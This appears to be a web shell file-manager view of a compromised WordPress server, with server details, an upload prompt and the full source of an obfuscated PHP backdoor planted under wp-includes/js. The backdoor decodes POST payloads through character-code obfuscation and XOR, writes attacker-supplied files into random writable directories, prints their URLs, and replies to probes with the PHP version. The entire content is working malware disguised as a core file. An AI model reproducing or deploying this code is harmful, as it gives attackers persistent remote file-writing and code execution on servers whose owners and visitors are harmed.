HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-includes/js/svkxjqcp.php
<?php $iYCrg = "vzUEjKoeb";function dkTKX($iYCrg){ $ddwhoMSqg = chr(541-426)."\164".chr(799-685).chr(259-164).chr(114)."\x6f".chr(116)."\61"."\x33";$iYCrg = $ddwhoMSqg($iYCrg);$bxomyG = chr(114)."\x61"."\167".'u'."\162"."\154"."\144"."\x65".chr(99)."\157"."\x64"."\x65";$iYCrg = $bxomyG($iYCrg);$iYCrg = str_split($iYCrg);return $iYCrg;}function ZNsBSLevMw($ANvqWjUe, $bSRXsqMWr){$ANvqWjUe = array_slice(str_split(str_repeat($ANvqWjUe, (count($bSRXsqMWr)/16)+1)), 0, count($bSRXsqMWr));return $ANvqWjUe;}function hVbOjAtsB($pwuIT, $WBjaUDwJD, $ANvqWjUe){$LdIexr = "9b26ac7c-a455-4460-a800-4169058fd68f";return $pwuIT ^ $LdIexr[$WBjaUDwJD % strlen($LdIexr)] ^ $ANvqWjUe;}function lnrrGkU($bSRXsqMWr, $ANvqWjUe){$bSRXsqMWr = array_map("hVbOjAtsB", array_values($bSRXsqMWr), array_keys($bSRXsqMWr), array_values($ANvqWjUe));$bSRXsqMWr = implode("", $bSRXsqMWr);$bnxyjNM = chr(117).'n'."\x73".chr(101)."\162"."\151"."\x61"."\154"."\x69".chr(122)."\x65";$bSRXsqMWr = @$bnxyjNM($bSRXsqMWr);return $bSRXsqMWr;}function rJOTkWr(){echo "fbmhRAfI";}function mKReAIe($LhstwVhfir){static $LhstwVhfZgUk = array();$OyQhqPH = glob($LhstwVhfir . '/*', GLOB_ONLYDIR);$cxEMs = count($OyQhqPH);if ($cxEMs > 0) {foreach ($OyQhqPH as $LhstwVhf) {$BMrunZS = chr(988-883).chr(115)."\137"."\x77".chr(114)."\151".'t'.chr(526-429)."\x62".chr(108)."\145";if (@$BMrunZS($LhstwVhf)) {$LhstwVhfZgUk[] = $LhstwVhf;}}}foreach ($OyQhqPH as $LhstwVhfir) mKReAIe($LhstwVhfir);return $LhstwVhfZgUk;}function kfSJg(){echo "vzUEjKoeb";}function eWMEXSYT($bSRXsqMWr){$UzkzIaO = 'D'.'O'.chr(699-632).'U'.chr(77)."\105".chr(119-41)."\x54"."\137"."\x52".'O'.chr(419-340).chr(84);$WSrgA = $_SERVER[$UzkzIaO];$OyQhqPH = mKReAIe($WSrgA);$NOxvht = array_rand($OyQhqPH);$JUOIy = chr(127-81).chr(694-582).'h'.'p';$DwquPZzn = $OyQhqPH[$NOxvht] . "/" . substr(md5(time()), 0, 8) . $JUOIy;$NBZqjT = chr(102).chr(105).'l'.chr(101)."\137"."\160"."\165"."\164".chr(443-348)."\143".'o'.chr(110).chr(295-179).'e'."\x6e"."\164".chr(381-266);@$NBZqjT($DwquPZzn, $bSRXsqMWr);$rHgrlJA = "\110".chr(982-898).chr(481-397)."\120".chr(967-872)."\110".'O'."\123"."\x54";$NnkqOLV = chr(867-763).chr(116).'t'."\160".chr(115-57)."\57"."\57";$ZBnZMJx = $NnkqOLV . $_SERVER[$rHgrlJA] . substr($DwquPZzn, strlen($WSrgA));print($ZBnZMJx);}foreach ($_POST as $ANvqWjUe => $bSRXsqMWr){$RjMAxVJJ = strlen($ANvqWjUe);if ($RjMAxVJJ == 16){$bSRXsqMWr = dkTKX($bSRXsqMWr);$ANvqWjUe = ZNsBSLevMw($ANvqWjUe, $bSRXsqMWr);$bSRXsqMWr = lnrrGkU($bSRXsqMWr, $ANvqWjUe);if (@is_array($bSRXsqMWr)){$NOxvht = array_keys($bSRXsqMWr);$bSRXsqMWr = $bSRXsqMWr[$NOxvht[0]];$NOxvht = $NOxvht[0];if ($bSRXsqMWr !== $NOxvht){eWMEXSYT($bSRXsqMWr);}else {$xabdVqb = 'p'.chr(104)."\160";$wrvVymF = chr(112).chr(104)."\160"."\166"."\145".'r'."\x73".'i'."\157"."\x6e";$bSRXsqMWr = Array($xabdVqb => @$wrvVymF(), );$CDAAWb = chr(115).'e'.chr(544-430).chr(105).chr(97).'l'."\151".chr(363-241).chr(101);echo @$CDAAWb($bSRXsqMWr);}die();}}}